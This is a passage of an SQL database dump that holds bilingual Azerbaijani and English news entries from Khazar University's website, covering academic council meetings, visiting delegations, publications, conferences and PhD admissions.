növbəti semestrə...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Fevralın 16-da Xəzər Universitetinin rektoru Hassan\r\nNiknafsın sədrliyi ilə Elmi şuranın növbəti iclası keçirildi. Gündəliyə əsasən\r\nimtahan sessiyasının nəticələri, növbəti semestrə hazırlıq, akkreditasiya,\r\nBioloji elmlər departamentinin müdiri, fəlsəfə doktoru İradə Xəlilovanın\r\ndosent, Musiqi və incəsənət departamentinin müdiri, dosent Zülfiyyə Sadıqovanın\r\nprofessor vəzifəsinə seçilməsi haqqında Tədris işləri üzrə prorektor Məhəmməd\r\nNuriyevin məlumatları dinlənildi.</p>\r\n<p style=\"\" margin-left:0in;line-height:115%\"\"=\"\">2017-ci il üzrə\r\ndoktoranturaya qəbulun nəticələri, 2017-ci ildə qəbul olunmuş doktorant və\r\ndissertantlara təklif olunan dissertasiya mövzuları və elmi rəhbərlərin müzakirəsi\r\nvə təsdiqi, Təhsil departamentinin “Təhsilin təşkili və planlaşdırılması\r\nixtisası” üzrə doktorantı Səmayə Həsənovanın doktoranturadan dissertanturaya\r\nkeçirilməsi haqqında &nbsp;Magistratura, doktorantura\r\nvə elmi işlər bölməsinin müdiri Eldar Şahgəldiyev, Bioloji elmlər\r\ndepartamentinin doktorantı Züleyxa Ələkbərovanın “Biotexnologiya” ixtisasından\r\n(2422.01)&nbsp; “Biokimya”&nbsp; ixtisasına (2406.02) keçirilməsi haqqında Bioloji\r\nelmlər departamentinin müdiri İradə Xəlilova məlumat verdilər. Gündəlikdəki məsələlər\r\nətrafında müzakirələr aparıldı və müvafiq qərarlar qəbul edildi.</p>\r\n<p>Elmi şuranın iclasında universitetin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı çıxış edərək,&nbsp; nüfuzlu jurnallarda əməkdaşların elmi məqalələrinin\r\nçapının artırılması və beynəlxalq əlaqələrin daha da genişləndirilməsi zərurətindən\r\ndanışdı. </p>\r\n<p>Elmi şuranın iclasında cari məsələlər də müzakirə\r\nolundu.</p>'),(6220,3542,'az','Tarbiat Modares Universitetinin nümayəndələri ilə görüş','2018-ci il oktyabrın 17-də Xəzər Universitetinin “Neftçilər” kampusunda İranın Tarbiat Modares Universitetinin...','<p>2018-ci il oktyabrın 17-də Xəzər Universitetinin “Neftçilər” kampusunda İranın Tarbiat Modares Universitetinin nümayəndələri ilə görüş keçirildi.</p><p>Görüşdə Tarbiat Modares Universitetinin professoru Dr. Cavad Hatami və Dr. Mohammad Hassanzadeh və Xəzər Universitetinin rektoru Dr. Hassan Niknafs, Tədris işləri üzrə prorektor professor Məhəmməd Nuriyev, İradəetmə və tələbə işləri üzrə prorektor İsaxan İsaxanlı, Magistratura, doktorantura və elmi işlər bölməsinin müdiri Eldar Şahgəldiyev, Beynəlxalq Əlaqələr Şöbəsinin direktoru Turan Cəfərova, Keyfiyyətin Təminatı Mərkəzinin direktoru Lyudmila Sotova, fakültə dekanları və department müdirləri iştirak edirdilər.</p><p>Görüş zamanı müxtəlif beynəlxalq reytinqlər və bu reytinqlərdə universitetlərin mövqeyinin yaxşılaşdırılması ilə bağlı müzakirə aparıldı.</p>'),(6221,3542,'en','Meeting with a delegation of Tarbiat Modares University','On October 17, 2018, a delegation of Tarbiat Modares University was hosted at “Neftchilar” campus...','<p>On October 17, 2018, a delegation of Tarbiat Modares University was hosted at “Neftchilar” campus of Khazar University.</p><p>Dr. Javad Hatami və Dr. Mohammad Hassanzadeh from Tarbiat Modares University and Dr. Hassan Niknafs, Rector; Prof. Mahammad Nuriyev, Vice-rector for Academic Affairs; Dr. Isakhan Isakanli, Vice-rector for Administration and Student Affairs; Dr. Eldar Shahgeldiyev, Head of the Division for Graduate Students and Research; Turan Jafarova, Director of International Affairs Office; Lyudmila Sotova, Director of the Quality Assurance Center, deans and heads of departments of Khazar University participated in the meeting.</p><p>The sides discussed various international ratings and measures to be taken to have a better position in these ratings.</p>'),(6222,3543,'az','Tarix və arxeologiya departamentinin əməkdaşının həmmüəllifliyi ilə kitab-albom işıq üzü gördü','Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi t.ü.f.d., dosent Səbuhi Əhmədovun həmmüəllifliyi...','<p>Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi t.ü.f.d., dosent Səbuhi Əhmədovun həmmüəllifliyi ilə “Azərbaycanın qədim və orta əsr silahları” adlı kitab-albom çap edilmişdir. Nəşrin elmi redaktoru Milli Azərbaycan Tarixi Muzeyinin direktoru akademik Nailə Vəlixanlı, koordinatoru t.ü.f.d. Nasir Quluzadə, həmmüəllifər t.ü.f.d. S.Əhmədov, E.Məmmədov və N.Qarayevadır. Kitabda Milli Azərbaycan Tarixi Muzeyinin arxeoloji kolleksiyasında qorunan bəzi silah nümunələri haqqında müfəssəl məlumat verilmişdir. Həmin nümunələrin bir qismi Şəki, Qazax, Qəbələ və Mingəçevir bölgələrinə, eləcə də, Xəzər dənizi hövzəsinə təşkil edilmiş arxeoloji ekspedisiyaların tapıntılarıdır. Bundan başqa, kitab-albomda Daşkəsən, Lənkəran, Qazax, Naxçıvan və Azərbaycanın digər bölgələrində təsadüfi tapılmış silahlar haqqında da məlumat verilmişdir. Ümumilikdə, kitab-albomda 82 ədəd arxeoloji tapıntı işıqlandırılmışdır.</p>'),(4931,2762,'en','Maintenance Office','','<p>The commitments of Maintenance Office of&nbsp;Khazar University are as follows:</p><p>1. Being in charge for inventory and technical tools as it bears responsibility for material and technical resources.</p><p>2. Controlling performance of technical staff (cleaning, approval of schedule etc.);</p><p>3. Providing technical staff with necessary tools in order to enable them to fulfill their commitments;</p><p>4. Controlling the design of the building;</p><p>5. Taking care of greenery of the university;</p><p>6. Providing all the ceremonies with technical support;</p><p>7. Providing university staff with stationery and controlling its use;</p><p>8. Repairing damaged things under control of the department;</p><p>9. Warehouse management;</p><p>10. Reception and delivery of household goods of the dormitory;</p>\r\n<p><br></p>  <h3>Contact</h3><p><strong><a href=\"http://www.khazar.org/files/letters/Malayka_Huseynova_CV.pdf\"><img src=\"/files/letters/Malayka_Huseynova.jpg\" style=\"width:150px;height:173px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Maleyka Huseynova</a></strong></p><p><strong>Office manager</strong></p><p><strong>Phone:&nbsp;</strong>(+994 12) 421 10 93 (265)</p>'),(3006,1776,'en','Winners of Article Contest to be Announced','On December 28, 2016 at 14:00, a closing ceremony will be held for the “Disabilities and Attitudes Toward Them” article contest which was held by Khazar University...','<p>On December 28, 2016 at 14:00, a closing ceremony will be held for the “Disabilities and Attitudes Toward Them” article contest which was held by Khazar University Psychological Services Center and the Center for Students with Disabilities. Contest winners will be announced.&nbsp;</p><p>Everyone is welcome to attend.&nbsp;</p>'),(3007,1780,'az','Magistratura, doktorantura və elmi işlər bölməsinin müdiri AMEA-nın və Təhsil Nazirliyinin Kollegiyasının birgə elmi sessiyasında iştirak etdi','2016-ci il dekabrın 21-də Xəzər Universiteti Magistratura, doktorantura və elmi işlər bölməsinin müdiri Eldar Şahgəldiyev elm və təhsilin...','<p>2016-ci il dekabrın 21-də Xəzər Universiteti Magistratura, doktorantura və elmi işlər bölməsinin müdiri Eldar Şahgəldiyev elm və təhsilin gələcək inteqrasiyasına həsr olunmuş Azərbaycan Milli Elmlər Akademiyasının Ümumi Yığıncağının və Azərbaycan Respublikası Təhsil Nazirliyinin Kollegiyasının birgə elmi sessiyasında iştirak etdi.&nbsp;</p><p>Tədbirdə Azərbaycan Respublikasının Təhsil naziri Mikayıl Cabbarov “Azərbaycanın dayanıqlı inkişafını təmin edən elm və təhsilin inteqrasiyası” adlı məruzə ilə çıxış etdi.</p><p>Tədbirin sonunda elm və təhsilin inteqrasiyasının gücləndirilməsi istiqamətində müvafiq tədbirlər haqqında qərar qəbul edildi.</p>'),(3012,1779,'az','Xəzər Universitetində “Enkotek” şirkəti konfrans keçirdi','2016-cı il dekabrın 23-də “Enkotek” (Encotec) şirkətinin direktoru Faiq Rzayev Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin tələbələri üçün texniki...','<p>2016-cı il dekabrın 23-də “Enkotek” (Encotec) şirkətinin direktoru Faiq Rzayev Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin tələbələri üçün texniki təqdimat keçirdi.</p><p>O, tələbələrə şirkətin Azərbaycandakı fəaliyyəti, proyektləri, təcrübə proqramı və iş imkanları haqqında geniş məlumat verdi. “Enkotek” beynəlxalq intizam, dizayn mühəndisliyi və məsləhət xidməti ilə təmin edən mühəndislik şirkətidir.&nbsp;</p><p>Fakültənin dekan əvəzi Hassan Niknafs və dekan müavini Vəfa Aslanova da konfransda iştirak edirdilər.&nbsp;</p><p>Tədbirin sonunda sual-cavab sessiyası keçirildi.</p>'),(3008,1781,'az','“Xəzər Xəbər”  jurnalının noyabr nömrəsi çapdan çıxıb','“Xəzər Xəbər” jurnalının 2016 - ci il noyabr nömrəsi (356-cı nömrə) Xəzər Universitetinin mətbəəsində çapdan çıxmışdır...','“Xəzər Xəbər” jurnalının 2016 - ci il noyabr nömrəsi (356-cı nömrə) Xəzər Universitetinin mətbəəsində çapdan çıxmışdır. Jurnalı bu linkdə də oxuya bilərsiniz:  <a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a>'),(3009,1777,'en','Staff and Faculty Members Needed','On December 30, 2016, Khazar University will hold a celebration of International Solidarity Day of Azerbaijanis and the New Year. Staff and faculty members who...','<p>On December 30, 2016, Khazar University will hold a celebration of International Solidarity Day of Azerbaijanis and the New Year. Staff and faculty members who are interested in actively participating in the organization of the event are needed. Please contact room 215, ext. 231. Deadline: December 26, 2016 at 11:00.</p>'),(3010,1781,'en','November Issue of Khazar Review Journal Printed','The November 2016 issue (number 356) of Khazar Review has been printed by Khazar University Press...','<p>The November 2016 issue (number 356) of Khazar Review has been printed by Khazar University Press. The full journal may be read at this link:&nbsp;<a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a></p>'),(3011,1780,'en','Head of the Division for Graduate Students and Research Participates in Joint Academic Session of ANAS and Ministry of Education Board ','On December 21, 2016, Dr. Eldar Shahgaldiyev, Head of the Division for Graduate Students and Research at Khazar University, participated...','<p>On December 21, 2016, Dr. Eldar Shahgaldiyev, Head of the Division for Graduate Students and Research at Khazar University, participated in a General Meeting of the Azerbaijan National Academy of Sciences and joint academic session of the Ministry of Education Board dedicated to the future integration of science and education.&nbsp;</p><p>At the event, Mikayil Jabbarov, Minister of Education of the Azerbaijan Republic, gave a lecture on “Integration of Science and Education to Ensure the Sustainable Development of Azerbaijan.”&nbsp;</p><p>At the end of the event, decisions were made to take appropriate measures related to strengthening the integration of science and education.&nbsp;</p>'),(4346,2572,'en','Meeting with the archeologist Andreas Schacner','On October 24, 2017, Andreas Schacner, a lecturer on Anatolian archeology and prehistoric culture at the German Archeology...','<p>On October 24, 2017, Andreas Schacner, a lecturer on Anatolian archeology and prehistoric culture at the German Archeology Institute in Istanbul and the director of Bogazkoy-Hattusa archeological excavation, participated, on the initiative of History and Archeology Department of Khazar University, in the lesson ‘History of Ancient East’ , a course for the students majoring in History Studies and Primary Education. The meeting was also attended by Dr. Hassan Niknafs, rector of Khazar University, Alovsat Amirbeyli, Director of Public Relations and Media, Roza Arazova, head of the department of History and Archeology, Orkhan Zamanov, an instructor, Ulviyya Heydarova, a scientist at the Institute of Archeology and Ethnography of Azerbaijan National Academy of Sciences. Roza Arazova opened the meeting and introduced Andreas Schacner to the students. Andreas Schacner delivered a presentation on Hattusa, the capital city of the Hittites and answered the students’ questions.</p><p>At the end of the meeting, Roza Arazova gave a gift to the guest and they took a memory photo together.</p>'),(4269,2469,'en','Researcher of Creative Works of S. Yesenin Delivered a Speech at the Event Dedicated to the Poet’s Birthday','On October 3, Dr. of Pedagogical Sciences Isakhan Isakhanli, Vice Rector of Administration and Student...','<p>On October 3, Dr. of Pedagogical Sciences Isakhan Isakhanli, Vice Rector of Administration and Student Affairs at Khazar University, delivered a speech on “A Role of Baku Period in Sergei Yesenin’s Works” at the literary-musical event dedicated to the 122<sup>nd</sup> birthday of Russian poet Sergei Yesenin held at ANAS Dendrology Institute.</p><p>For more information please visit the link below:</p><p><a href=\"https://azertag.az/xeber/Bakida_Sergey_Yeseninin_yubileyi_qeyd_olunub-1099077\">https://azertag.az/xeber/Bakida_Sergey_Yeseninin_yubileyi_qeyd_olunub-1099077</a>.  <br></p>'),(4761,2753,'en','International PhD student of Khazar University gave an interview','Azvision.az website had an interview with Sana Imran, Pakistani PhD student in Economy of Khazar University...','<p><strong><em>Azvision.az</em></strong> website had an interview with Sana Imran, Pakistani PhD student in Economy of Khazar University. The interview was published in English under headline “Azerbaijan can become “transit and logistic centre” for its region and outside”.</p><p>A link of full interview:</p><p><a href=\"https://en.azvision.az/news/%2077220/-azerbaijan-can-serve-%20as-transit-and-logistic-hubs-%20to-its-region-and-beyond-.html\">https://en.azvision.az/news/%2077220/-azerbaijan-can-serve-%20as-transit-and-logistic-hubs-%20to-its-region-and-beyond-.html</a>.  <br></p>'),(3603,2112,'en','A Meeting Held at the University of Macedonia within the ESFIDIP Tempus Project','On April 23-27, 2017, meeting was held at the University of Macedonia within the “The Establishment of a Foundation for the Integration of Disabled People into HEIs of...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On April 23-27, 2017, meeting was held\r\nat the University of Macedonia within the “The Establishment of a Foundation\r\nfor the Integration of Disabled People into HEIs of Azerbaijan” ESFIDIP Tempus\r\nproject. Along with representatives of the partner universities,\r\nrepresentatives from the Ministry of Education, Ministry of Labor and Social\r\nProtection of Population and Union of Disabled People Organizations attended the\r\nmeeting. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">During the meeting, representatives of the University of Macedonia\r\nshared their experience with the partners in accordance with work packages on\r\nhow to communicate with students with disabilities and how to use the assistive\r\nequipment. Also local partner universities made presentations on implemented\r\npilot program and spoke aboout the activities of Centers for Students with\r\nDisabilities.</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">The “The Establishment\r\nof a Foundation for the Integration of Disabled People into HEIs of Azerbaijan”\r\nESFIDIP Tempus project will end on May 31, 2017 and a Final Conference will be\r\nheld at Khazar University on May 15-16, 2017.&nbsp;</p>'),(3015,1783,'en','“Science Party” Event','On December 23, 2016 from 10:00 to 17:00, an event called “Science Party” sponsored by the Youth Foundation of the President of the Azerbaijan Republic was held at Khazar University...','<p>On December 23, 2016 from 10:00 to 17:00, an event called “Science Party” sponsored by the Youth Foundation of the President of the Azerbaijan Republic was held at Khazar University with the coordination of Khazar University Department of History and Archeology and the Career Development Center. The main objective of the event was to promote science and art among young people.&nbsp;</p><p>Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, opened the event. Then speeches were made by Professor Maisa Rahimova, Director of the ANAS Institute of Archeology and Ethnography, and Dr. Ahmad Sami Elayli, Representative of the Cultural and Educational Relations Center under the Embassy of Egypt to Azerbaijan.&nbsp;</p><p>Participants in the event included representatives from Khazar University, Azerbaijan State Economics University, Baku Girls’ University, Baku State University, State Administration Academy, Azerbaijan State Pedagogical University, the Shamakhi Branch of Azerbaijan State Pedagogical University, MIRAS Public Union, Egyptian Cultural Center, Gala Preserve, Gobustan Preserve, the State History Museum, and ANAS Institute of Archeology and Ethnography.&nbsp;</p><p>The event began with an art exhibit. Art works by Khazar University students and representatives of other schools, universities and institutions were displayed to the guests. Then academic and popular seminars were held on fields such as natural sciences, humanities, technology, etc. As part of the exhibition, Rehman Abdullayev, academic secretary of Gobustan National Park, made a presentation on “Application of 3D methods in documentation of petroglyphs.” Then the Khazar University girls’ dance ensemble performed an original historic dance. Later Sevinj Safarova, Orkhan Ismayilov and Fazil Khalilov, students of Khazar University’s School of Engineering and Applied Sciences, made a presentation on “Alternative Energy and its Uses.” Near the end of the event, an intellectual competition on the history, geography, cultures and literatures of the Ancient East was held. Winners received special awards.&nbsp;</p><p>At the end of the event, all the participants and organizers received certificates.&nbsp;</p>'),(3016,1782,'en','Founder Earns “Service to Turkishness” Award','On December 25, 2016, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, was given the “Service to Turkishness” Award...','<p>On December 25, 2016, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, was given the “Service to Turkishness” Award -- Zahid Khalilov Award (with an order of the Union dated 19 December, 2016) for fruitful scientific and public activity by the Borchali Public Union at its event for 31 December-- International Solidarity Day of Azerbaijanis.&nbsp;</p><p>Besides Prof. Isaxanli, award recipients included civil servants from Turkey, Azerbaijan and South Azerbaijan.&nbsp;</p><p>Dr. Isakhan Isakhanli, Vice President for Administration and Student Affairs, and Alovsat Amirbeyli, Director for Public Relations and Media, also participated in the event.&nbsp;</p><p>We note that the award is presented at the end of each year to selected people from Azerbaijan, Turkey, South Azerbaijan, Georgia and other Turkish regions for demonstrating selflessness in the pursuit of revival of the Turkish world.</p>'),(3019,1785,'en','Khazar University Department Assistant Participates in Christmas Celebration','On December 25, 2016, Gunel Ismayilova, Assistant in Khazar University’s Department of Azerbaijani Language and Literature, participated in a Christmas gathering at Church...','<p>On December 25, 2016, Gunel Ismayilova, Assistant in Khazar University’s Department of Azerbaijani Language and Literature, participated in a Christmas gathering at Church of the Immaculate Conception in Baku. The event began with a special holiday hymn and included scenes from Jesus’s birth as well as homilies by clergy based on the New Testament. It ended with spiritual songs. Other participants in the event included Ambassador Extraordinary and Plenipotentiary of the USA Robert Cekuta; English teachers in Baku through the Fulbright program, Robert Borowik and Mary Catherine Boehmer; Michael Monday, instructor for Khazar University’s School of Engineering and Applied Sciences; and other guests.&nbsp;</p><p>We note that 2016 is the Year of Multiculturalism in Azerbaijan.&nbsp;</p>'),(3020,1786,'az','ESFIDIP layihəsi çərçivəsində Xəzər Universitetinin müəllimləri üçün növbəti təlim-seminar keçirildi','2016-ci il dekabrın 26-da “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması” (ESFIDIP) adlı Tempus layihəsi çərçivəsində...','<p>2016-ci il dekabrın 26-da “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması” (ESFIDIP) adlı Tempus layihəsi çərçivəsində Xəzər Universitetində dərs deyən müəllim heyəti üçün təlim-seminar keçirildi. Təlimçi Mələk Kərimova (Humanitar və sosial elmlər fakültəsinin dekan müavini) iştirakçılara əlillik, onun xüsusiyyətləri, onlara yanaşma tərzi və tədris metodikası haqqında geniş məlumat verdi.</p><p>Tədbir zamanı mövzu ətrafında interaktiv fikir mübadiləsi aparıldı və iştirakçıların suallarına cavab verildi.&nbsp;</p>'),(3225,1900,'az','Neft mühəndisliyi departamentinin müdiri KAPPA-nın Baş direktoru ilə görüşdü','2017-ci il fevralın 17-də Xəzər Universiteti Neft mühəndisliyi departamentinin müdiri və eiLink Tədqiqat və İnkişaf Mərkəzinin direktoru Qəşəm Zeynalov...','<p class=\"xmsonormal\" style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">2017-ci il fevralın 17-də Xəzər Universiteti Neft mühəndisliyi\r\ndepartamentinin müdiri və eiLink Tədqiqat və İnkişaf Mərkəzinin direktoru Qəşəm\r\nZeynalov Fransanın quyuların tədqiqi, neft hasilatının təhlili və\r\nmodelləşdirilməsi üzrə yeni nəsil proqram təminatları üzrə ixtisaslaşmış KAPPA şirkətinin\r\nMüstəqil Dövlətlər Birliyi üzrə Baş direktoru Aleksandr Qonçarov ilə görüşdü.\r\nGörüşdə hidrodinamika, geofizika, neft hasilatlının təhlili və başqa kompleks\r\nmodullar üzrə proqram təminatlarının Xəzər Universitetinə ianə edilməsinin\r\nimkanları müzakirə edildi. Bununla əlaqədar olaraq, Aleksandr Qonçarov KAPPA\r\nşirkətinin Baş meneceri Olivier Houze ilə martın sonunda Bakıya nəzərdə tutulan\r\nsəfərində həmin proqramların təqdimatının keciriləcəyi və uyğun profilli universitetlərdə\r\nqeyd olunan proqram təminatlarının professor və tələbələr tərəfindən lisenziya\r\nilə istifadə edilməsi imkanlarının təfərrüatlarının müzakirə ediləcəyi haqqında\r\nməlumat verdi.&nbsp;</p>'),(3226,1901,'az','“Azərbaycan arxeologiyası” jurnalının yeni sayı çapdan çıxdı','Xəzər Universitetinin nəşri olan “Azərbaycan arxeologiyası” jurnalının yeni sayı (Cild:19, Say: 2, 2016) çapdan çıxmışdır. Bu sayda Azərbaycan arxeologiyasının mühüm problemlərinə...','<p>Xəzər Universitetinin nəşri\r\nolan “Azərbaycan arxeologiyası” jurnalının yeni sayı (Cild:19, Say: 2, 2016) çapdan çıxmışdır. Bu sayda Azərbaycan arxeologiyasının\r\nmühüm problemlərinə aid silsilə məqalələr nəşr olunmuşdur.</p>\r\n<p>Geniş oxucu kütləsinə\r\nçatdırılması məqsədilə jurnalın bu sayı Milli Kitabxana, ali məktəb\r\nkitabxanaları ilə yanaşı, müxtəlif elmi dairələrin kitabxanalarına da hədiyyə\r\nedilmişdir.</p>'),(3224,1899,'az','Əlilliyi olan Tələbələr üçün Mərkəzin koordinatoru “Fiziki məhdudiyyətli insanlar üçün yaradılmış imkanlar və onların üzləşdiyi çətinliklər. İnklüziv təhsil” adlı tədbirdə iştirak etdi','2017-ci il fevralın 17-də “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması” (ESFIDIP) adlı Tempus layihəsinin...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil fevralın 17-də “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə\r\ninteqrasiyasının təməlinin qoyulması” (ESFIDIP) adlı Tempus layihəsinin və Xəzər\r\nUniversitetinin Əlilliyi olan Tələbələr üçün Mərkəzinin koordinatoru Rima Məmmədova\r\nAzərbaycan Dillər Universitetində təşkil olunmuş “Fiziki məhdudiyyətli insanlar\r\nüçün yaradılmış imkanlar və onların üzləşdiyi çətinliklər. İnklüziv təhsil”\r\nadlı tədbirdə iştirak etdi. Tədbir zamanı Rima Məmmədova “Azərbaycanın ali təhsil\r\nmüəssisələrində inklüziv təhsil və mövcud problemlər” adlı təqdimatla çıxış\r\netdi. Təqdimat zamanı o, əlilliyi olan uşaqlar və gənclər haqqında statistik məlumatlar\r\nverdi və hazırda Azərbaycanda universitetlərin inklüziv təhsilə nə dərəcədə\r\nhazır olub-olmadıqları haqqında danışdı. O, həmçinin “Əlilliyi olan şəxslərin\r\nAzərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması”\r\n(ESFIDIP) adlı Tempus layihəsi çərçivəsində görülən işlər barədə də danışdı. Təqdimatın\r\nsonunda inklüziv təhsilin həyata keçirilməsi zamanı yaranan problemlər və maneələr\r\nhaqqında məlumat verdi və onların aradan qaldırılması üçün təkliflərini irəli\r\nsürdü.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Tədbirdə\r\nmüxtəlif dövlət və qeyri-hökümət təşkilatlarının nümayəndələri və tələbələr\r\niştirak etdirdilər. Tədbirdə ESFİDİP layihəsinin tərəfdaşları olan Azərbaycan\r\nDövlət İqtisad Universiteti (Sevinc Məhsimova) və Təhsil Nazirliyi (Anar Xələfov)\r\ndə iştirak etdilər.&nbsp;</p>'),(2997,1774,'en','Khazar University Instructor’s Article Published in Ukraine','Gardashkhan Azizkhanli, instructor for Khazar University’s Department of Azerbaijani Language and Literature, wrote an article entitled...','<p>Gardashkhan Azizkhanli, instructor for Khazar University’s Department of Azerbaijani Language and Literature, wrote an article entitled “Социальный контент в Азербайджанской гражданской лирике второй половины XX- го века” (Social Content in Azerbaijani Patriotic Poetry of the Late 20th Century) which was published by the Мова i культура (Language and Culture) journal of Taras Shevchenko Kyiv State University (2016, volume V, number 22, pp 165-173). The article covers Azerbaijani patriotic poetry of the late 20th century by authors such as Mammad Araz, Sohrab Tahir, and Mammad Ismayil; shows the social and moral spheres that make up the basic philosophy of patriotic poetry while drawing parallels between poets’ identity and their characters; and explains the leading roles played by works of several of the abovementioned poets in protecting the unity of national values.</p>'),(4691,2783,'az','Dillər və mədəniyyətlər departmentinin dosenti respublika konfransında','2017-ci il dekabrın 14-də Xəzər Universiteti Dillər və mədəniyyətlər departmentinin dosenti Elnurə Əzizova AMEA Mərkəzi...','<p>2017-ci il dekabrın 14-də Xəzər Universiteti Dillər və mədəniyyətlər departmentinin dosenti Elnurə Əzizova AMEA Mərkəzi Elmi Kitabxanasının təşkilatçılığı ilə tərtib olunmuş “İslam həmrəyliyinin Azərbaycan modeli” adlı elmi konfransda iştirak etdi. Dosent E.Əzizova konfransda “İslamda fərqli düşüncəyə münasibət” adlı məruzə ilə çıxış etdi.</p>'),(4990,2909,'az','Məzunlar','Məzunlar','<h2>A brief analysis of the Eurasia Hub’s trainings participants</h2><p>Through the term of Eurasia Hub’s activity 331 people from 13 countries participated in its ten regional trainings, nine auxiliary courses and three summer schools for Khazar University students. Thus far, there are: 114 participants represented civic sector, 36 - media, 27- academic institutions, 41- state structures, 18 – extracting companies, 70- students and 25- others.</p><p><strong><br></strong></p><p><strong>Figure 1. Clasification of Eurasia Hub alumni by countries</strong></p><p><img src=\"http://eurasiahub.khazar.org/img/alumni/alumni-1.jpg\" style=\"border:0px  #000000;width:300px;height:138px;vertical-align:baseline\"></p><p><strong><br></strong></p><p><strong>Figure 2. Classification of Eurasia Hub alumni by sectors</strong></p><p><img src=\"http://eurasiahub.khazar.org/img/alumni/alumni-2.jpg\" style=\"border:0px  #000000;width:300px;height:138px;vertical-align:baseline\"></p><hr><p>Gender related data analysis of the Hub’s regional and auxiliary courses alumni demonstrates the commitment of the Eurasia Hub to gender equality principles.<strong><br></strong></p><p><strong><br></strong></p><p><strong>Figure 3. The gender balance of the Eurasia Hub alumni</strong></p><p><img src=\"http://eurasiahub.khazar.org/img/alumni/alumni-3.jpg\" style=\"border:0px  #000000;width:300px;height:138px;vertical-align:baseline\"></p>'),(4936,2880,'en','Khazar staff participates in the next meeting on the NIZAMI project','On January 29-31, Khazar University Vice-rector on Research, Dr. Irada Khalilova and the head of the Division...','<p>On January 29-31, Khazar University Vice-rector on Research, Dr. Irada Khalilova and the head of the Division of Graduate Studies and Research, Dr. Eldar Shahgaldiyev participated in the next meeting on “Restructuring and Development of Doctoral Studies in Azerbaijan in line with the Requirements of the European&nbsp; Higher Education Area” within NIZAMI project. The meeting participants discussed the establishment and development of doctoral degree standards in higher education institutions.&nbsp;</p><p>The presentations on “Communication-The results of the work carried out by Azerbaijani partner organizations” by Dr. Irada Khalilova and “Professionalization-The results of the work carried out by Azerbaijani partner organizations” by Dr. Eldar Shahgaldiyev were welcomed by the participants. After presentations our colleagues answered the participants’ questions.</p>'),(4937,2881,'az','Xəzər Universitetində doktoranturaya növbəti qəbul başladı','2018-ci il fevralın 5-də Xəzər Universitetində 16 ixtisas üzrə doktoranturaya qəbul imtahanı keçirildi...','<p>2018-ci il fevralın 5-də Xəzər Universitetində 16 ixtisas üzrə doktoranturaya qəbul imtahanı keçirildi. Birinci mərhələdən keçən namizədlər fevralın 7-də keçiriləcək xarici dil imtahanında iştirak edəcəklər.</p>'),(4938,2881,'en','PhD Admission exams at Khazar University began','Entrance exams for PhD programs in 16 specialties at Khazar University were held on February 5, 2018...','<p>Entrance exams for PhD programs in 16 specialties at Khazar University were held on February 5, 2018.</p><p>The candidates who pass the first stage successfully will have an opportunity to take a foreign language exam on February 7, 2018.</p>'),(3210,1890,'en','Fuat Rasulov as guest on “Economic Forum” program','On February 5, 2017, Fuat Rasulov, Khazar University professor, was a guest on the “Economic Forum” program hosted by Sabit Bagirov, head of the Center for Economic...','<p>On February 5, 2017, Fuat Rasulov,\r\nKhazar University professor, was a guest on the “Economic Forum” program hosted\r\nby Sabit Bagirov, head of the Center for Economic and Political Studies. The\r\nprogram discussed characteristics of leasing companies, problems and their\r\nsolutions. </p>\r\n<p>The program is available at the\r\nfollowing links:</p>\r\n<p><a href=\"http://eurasiadiary.com/az/news/economy/109790-lizing-biznesinin-xususiyyetleri-problemler-ve-helli-yollari\">http://eurasiadiary.com/az/news/economy/109790-lizing-biznesinin-xususiyyetleri-problemler-ve-helli-yollari</a>;</p>\r\n<p><a href=\"https://www.youtube.com/watch?v=W1NQrYj_grk\">https://www.youtube.com/watch?v=W1NQrYj_grk</a>. &nbsp;</p>'),(3211,1889,'en','“Yeni çağ” writes about Khazar University representative in Ankara','On February 14, 2017, the Yenicag news website ran a story about Huseyn Ayhan, Khazar University representative in Ankara, head of the Azerbaijani Culture Circle...','<p>On February\r\n14, 2017, the Yenicag news website ran a story about Huseyn Ayhan, Khazar\r\nUniversity representative in Ankara, head of the Azerbaijani Culture Circle,\r\nand founder of the “Azercan” teahouse in Ankara.</p>\r\n<p>The article\r\nis available at the following link:</p>\r\n<p><a href=\"http://yenicag.az/ankarada-azerbaycan-cay-destgahi/\">http://yenicag.az/ankarada-azerbaycan-cay-destgahi/</a>.&nbsp;</p>'),(3212,1891,'en','Dunya school teacher awarded PhD diploma','On February 16, 2017, the Higher Attestation Commission under the President of the Republic of Azerbaijan held an awards ceremony for Ph.D. degree holders...','<p>On February 16, 2017, the\r\nHigher Attestation Commission under the President of the Republic of Azerbaijan\r\nheld an awards 